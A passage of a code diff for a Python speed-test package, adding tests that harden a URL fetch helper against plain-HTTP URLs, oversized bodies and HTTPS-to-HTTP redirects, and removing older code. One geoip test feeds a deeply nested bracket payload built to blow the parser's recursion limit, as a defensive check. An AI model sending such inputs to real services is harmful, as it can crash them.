+ # nesting deep enough to blow the parser's recursion limit.
59
49
  expected = Client(ip="198.51.100.2", isp="Backup ISP", country="FR", city="Paris")
60
50
  payloads = [
61
51
  b'{"error": true, "reason": "RateLimited"}',
@@ -67,14 +57,8 @@ class TestLookup(unittest.TestCase):
67
57
  b'"nope"',
68
58
  b"42",
69
59
  b"<html>502</html>",
60
+ b"[" * 2000 + b"]" * 2000,
70
61
  ]
71
62
  for payload in payloads:
72
63
  with self.subTest(payload=payload), mock.patch("speedkit.geoip.fetch", side_effect=[payload, IPWHO]):
73
64
  self.assertEqual(geoip.lookup(), expected)
74
-
75
- def test_last_service_answers(self):
76
- broken = b'{"error": true}'
77
- with mock.patch("speedkit.geoip.fetch", side_effect=[broken, broken, IPAPI]) as fetch:
78
- client = geoip.lookup()
79
- self.assertEqual(fetch.call_count, 3)
80
- self.assertEqual(client, Client(ip="192.0.2.3", isp="Last Resort ISP", country="NL", city="Amsterdam"))
@@ -0,0 +1,66 @@
1
+ import http.client
2
+ import io
3
+ import unittest
4
+ import urllib.error
5
+ import urllib.request
6
+ from unittest import mock
7
+
8
+ from speedkit import utils
9
+ from speedkit.utils import fetch
10
+
11
+
12
+ class TestFetch(unittest.TestCase):
13
+ def test_http_protocol_errors_normalize_to_oserror(self):
14
+ # IncompleteRead/BadStatusLine are HTTPException, not OSError; callers rely
15
+ # on OSError to degrade gracefully instead of losing a finished measurement.
16
+ for error in (http.client.BadStatusLine("boom"), http.client.IncompleteRead(b"", 10)):
17
+ with self.subTest(error=error):
18
+ with mock.patch.object(utils, "_opener") as opener:
19
+ opener.return_value.open.side_effect = error
20
+ with self.assertRaises(OSError):
21
+ fetch("https://example.invalid/", timeout=1.0)
22
+
23
+ def test_plain_http_url_refused(self):
24
+ with mock.patch.object(utils, "_opener") as opener:
25
+ with self.assertRaises(OSError):
26
+ fetch("http://example.invalid/", timeout=1.0)
27
+ opener.assert_not_called()
28
+
29
+ def test_oversized_body_refused(self):
30
+ with mock.patch.object(utils, "_opener") as opener:
31
+ opener.return_value.open.return_value = _response(b"x" * 11)
32
+ with self.assertRaises(OSError):
33
+ fetch("https://example.invalid/", timeout=1.0, limit=10)
34
+
35
+ def test_body_at_the_limit_is_returned(self):
36
+ with mock.patch.object(utils, "_opener") as opener:
37
+ opener.return_value.open.return_value = _response(b"x" * 10)
38
+ self.assertEqual(fetch("https://example.invalid/", timeout=1.0, limit=10), b"x" * 10)
39
+
40
+
41
+ class TestNoDowngradeRedirects(unittest.TestCase):
42
+ def test_redirect_to_plain_http_refused(self):
43
+ with self.assertRaises(urllib.error.URLError):
44
+ self._redirect_to("http://example.invalid/b")
45
+
46
+ def test_redirect_staying_on_https_is_allowed(self):
47
+ self.assertEqual(self._redirect_to("https://example.invalid/b").full_url, "https://example.invalid/b")
48
+
49
+ @staticmethod
50
+ def _redirect_to(newurl):
51
+ return utils._NoDowngradeRedirects().redirect_request(
52
+ urllib.request.Request("https://example.invalid/a"),
53
+ io.BytesIO(b""),
54
+ 302,
55
+ "Found",
56
+ http.client.HTTPMessage(),
57
+ newurl,
58
+ )
59
+
60
+
61
+ def _response(body):
62
+ """Return a context manager standing in for an HTTPResponse holding ``body``."""
63
+ response = mock.MagicMock()
64
+ response.read.side_effect = lambda size: body[:size]
65
+ response.__enter__.return_value = response
66
+ return response
@@ -1,33 +0,0 @@
1
- from __future__ import annotations
2
-
3
- import http.client
4
- import ssl
5
- import urllib.request
6
-
7
- __all__ = ["fetch"]
8
-
9
-
10
- def fetch(url: str, timeout: float) -> bytes:
11
- """Fetch a URL and return the raw response body.
12
-
13
- :param url: URL to fetch.
14
- :param timeout: Timeout in seconds.
15
- :return: Raw response body.
16
- :raises OSError: If the request fails, including broken HTTP framing.
17
- """
18
- try:
19
- with urllib.request.urlopen(url, timeout=timeout, context=_ssl_context()) as response:
20
- data: bytes = response.read()
21
- return data
22
- except http.client.HTTPException as exc:
23
- # Truncated bodies and bad status lines are not OSError; normalize for callers.
24
- raise OSError(str(exc)) from exc
25
-
26
-
27
- def _ssl_context() -> ssl.SSLContext:
28
- """Return an SSL context, preferring certifi's CA bundle when installed."""
29
- try:
30
- import certifi
31
- except ImportError:
32
- return ssl.create_default_context()
33
- return ssl.create_default_context(cafile=certifi.where())
@@ -1,34 +0,0 @@
1
- import os
2
- import tempfile
3
- import unittest
4
- from pathlib import Path
5
- from unittest import mock
6
-
7
- from speedkit import binaries
8
- from speedkit.exceptions import UnsupportedPlatformError
9
-
10
-
11
- class TestBinaryResolution(unittest.TestCase):
12
- def test_env_override(self):
13
- with mock.patch.dict(os.environ, {"SPEEDKIT_OOKLA_BINARY": "/opt/bin/speedtest"}):
14
- self.assertEqual(binaries.ookla_binary(), Path("/opt/bin/speedtest"))
15
- with mock.patch.dict(os.environ, {"SPEEDKIT_LIBRESPEED_BINARY": "/opt/bin/librespeed-cli"}):
16
- self.assertEqual(binaries.librespeed_binary(), Path("/opt/bin/librespeed-cli"))
17
-
18
- def test_cached_binary_is_reused(self):
19
- with tempfile.TemporaryDirectory() as tmp:
20
- cache = Path(tmp)
21
- target = cache / f"ookla-{binaries.OOKLA_VERSION}" / "speedtest"
22
- target.parent.mkdir(parents=True)
23
- target.write_bytes(b"")
24
- with mock.patch.dict(os.environ, {}, clear=True):
25
- with mock.patch("platform.system", return_value="Darwin"):
26
- with mock.patch("platform.machine", return_value="arm64"):
27
- self.assertEqual(binaries.ookla_binary(cache), target)
28
-
29
- def test_unsupported_platform_raises(self):
30
- with mock.patch.dict(os.environ, {}, clear=True):
31
- with mock.patch("platform.system", return_value="Linux"):
32
- with mock.patch("platform.machine", return_value="riscv64"):
33
- with self.assertRaises(UnsupportedPlatformError):
34
- binaries.ookla_binary()
@@ -1,16 +0,0 @@
1
- import http.client
2
- import unittest
3
- from unittest import mock
4
-
5
- from speedkit.utils import fetch
6
-
7
-
8
- class TestFetch(unittest.TestCase):
9
- def test_http_protocol_errors_normalize_to_oserror(self):
10
- # IncompleteRead/BadStatusLine are HTTPException, not OSError; callers rely
11
- # on OSError to degrade gracefully instead of losing a finished measurement.
12
- for error in (http.client.BadStatusLine("boom"), http.client.IncompleteRead(b"", 10)):
13
- with self.subTest(error=error):
14
- with mock.patch("speedkit.utils.urllib.request.urlopen", side_effect=error):
15
- with self.assertRaises(OSError):
16
- fetch("https://example.invalid/", timeout=1.0)
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes